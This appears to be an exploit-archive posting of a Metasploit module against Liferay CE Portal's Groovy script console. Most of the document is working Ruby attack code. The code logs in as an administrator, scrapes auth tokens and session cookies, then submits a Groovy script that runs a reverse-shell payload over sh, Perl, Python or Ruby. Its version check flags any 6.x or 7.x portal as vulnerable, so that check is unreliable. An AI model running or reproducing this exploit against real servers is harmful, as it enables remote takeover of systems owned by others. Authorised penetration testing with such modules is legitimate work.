Liferay CE Portal Groovy-Console Remote Command Execution

This Metasploit module uses the Liferay CE Portal Groovy script console to execute OS commands. The Groovy script can execute commands on the system via a [command].execute() call. Valid credentials for an application administrator user account are required. This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.


MD5 | 33b80d5984e6de063d95e67d2750f386

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Liferay CE Portal Tomcat < 7.1.2 ga3 - Groovy-Console Remote Command Execution',
'Description' => %q{
This module uses the Liferay CE Portal Groovy script console to execute
OS commands. The Groovy script can execute commands on the system via a [command].execute() call.
Valid credentials for an application administrator user account are required
This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.
},
'Author' =>
[
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://pentest.com.tr/exploits/Liferay-CE-Portal-Tomcat-7-1-2-ga3-Groovy-Console-Remote-Command-Execution-Metasploit.html' ],
],
'Privileged' => false,
'Platform' => [ 'unix' ],
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'reverse perl ruby python',
}
},
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Liferay CE Portal Tomcat < 7.1.2 ga3', { }]
],
'DisclosureDate' => 'March 08, 2019',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }))

register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
OptString.new('PATH', [ true, 'The URI path of the portal', '/' ]),
], self.class)
end
##
# Version and Vulnerability Check
##
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})

version = res.headers['Liferay-Portal']
print_status("Target: #{version}")

if res and res.code == 200 and version =~ /Portal 7./ or version =~ /Portal 6./
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
return res
end
##
# Returns the SSL, Host and Port as a string
##
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def exploit
##
# Login and cookie information gathering
##
print_status('Attempting to login with specified user...')
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'web/guest/home'
})

authtoken = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken = #{authtoken}")

sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
cookie = "#{sessionid}; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US"
print_status("#{sessionid}")

boundary = Rex::Text.rand_text_alphanumeric(29)

data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_formDate\"\r\n\r\n"
data << ""
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_saveLastPath\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_redirect\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_login\"\r\n\r\n"
data << "#{datastore['USERNAME']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_password\"\r\n\r\n"
data << "#{datastore['PASSWORD']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_checkboxNames\"\r\n\r\nrememberMe\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
data << "#{authtoken}"
data << "\r\n-----------------------------{boundary}--\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=1&p_p_state=exclusive&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_javax.portlet.action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Flogin',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
},
'cookie' => cookie
})

if res.code == 302
print_good('User authentication was successful.')
else
print_error('Something went wrong! Login failed.')
end

cookie1 = ''
for cookie1_i in [ 'JSESSIONID=', 'COMPANY_ID=', 'ID=' ]
cookie1 << cookie1_i + res.headers['set-cookie'].split(cookie1_i)[1].split('; ')[0] + '; '
end

cookies0 = "#{cookie1} COOKIE_SUPPORT=true;"

res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'c',
'cookie' => cookies0
})
##
# Completion of the cookie information
##
cookie2 = ''
for cookie2_i in [ 'GUEST_LANGUAGE_ID=', 'Max-Age=', 'Expires=', 'Path=' ]
cookie2 << cookie2_i + res.headers['set-cookie'].split(cookie2_i)[1].split('; ')[0] + '; '
end

cookies = "#{cookie1} #{cookie2} COOKIE_SUPPORT=true;"
if cookies =~ /ID=/
print_good("Cookies information has been verified.")
else
print_error("Cookies information could not be verified!")
exit 0
end
##
# Request to Groovy script authtoken
##
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
'headers' =>
{
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
'cookie' => cookies
})
##
# Calling authtoken to Groovy script
##
authtoken2 = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken to Shell = #{authtoken2}")
##
# Payload Separation **cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl**
##
if payload.encoded =~ /sh/
cmd = payload.encoded.split('sh -c')[1].split("'")[1]
pay = "'sh', '-c', '#{cmd}'"
print_good("Reverse payload was prepared")
elsif payload.encoded =~ /perl/
cmd = payload.encoded.split('perl -MIO -e')[1].split("'")[1]
pay = "'perl', '-MIO', '-e', '#{cmd}'"
print_good("Reverse Perl payload was prepared")
elsif payload.encoded =~ /python/
cmd = payload.encoded.split('python -c "exec(')[1].split(".decode('base64'))\"")[0].split("'")[1]
pay = "'python', '-c', 'exec(\"#{cmd}\".decode(\"base64\"))'"
print_good("Reverse Python payload was prepared")
elsif payload.encoded =~ /ruby/
cmd = payload.encoded.split('ruby -rsocket -e ')[1].split("'")[1]
pay = "'ruby', '-rsocket', '-e', '#{cmd}'"
print_good("Reverse Ruby payload was prepared")
else
print_error("! Please choose payload one of cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl ")
exit 0
end
##
# Post Data to run Payload
##
cmdata = "-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_formDate\"\r\n\r\n"
cmdata << ""
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1\"\r\n\r\n"
cmdata << "script\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_redirect\"\r\n\r\n"
cmdata << "#{peer}/group/control_panel/manage?p_p_id="
cmdata << "com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle="
cmdata << "0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_"
cmdata << "ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_"
cmdata << "server_admin_web_portlet_ServerAdminPortlet_cur=""0&_com_liferay_server_"
cmdata << "admin_web_portlet_ServerAdminPortlet_tabs1=script"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_language\"\r\n\r\n"
cmdata << "groovy"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_script\"\r\n\r\n"
cmdata << "def cmd = [#{pay}]"
cmdata << "\r\ncmd.execute()"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_cmd\"\r\n\r\n"
cmdata << "runScript"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
cmdata << "#{authtoken2}"
cmdata << "\r\n-----------------------------{boundary}--\r\n"
##
# Request to get reverse shell
##
print_status("Attempting to execute the payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_javax.portlet.action=%2Fserver_admin%2Fedit_server',
'data' => cmdata,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
'cookie' => cookies
})

if res.code == 302
print_good('Payload was successfully executed.')
else
print_error('Something went wrong!')
end

end
end
##
# End
##

Related Posts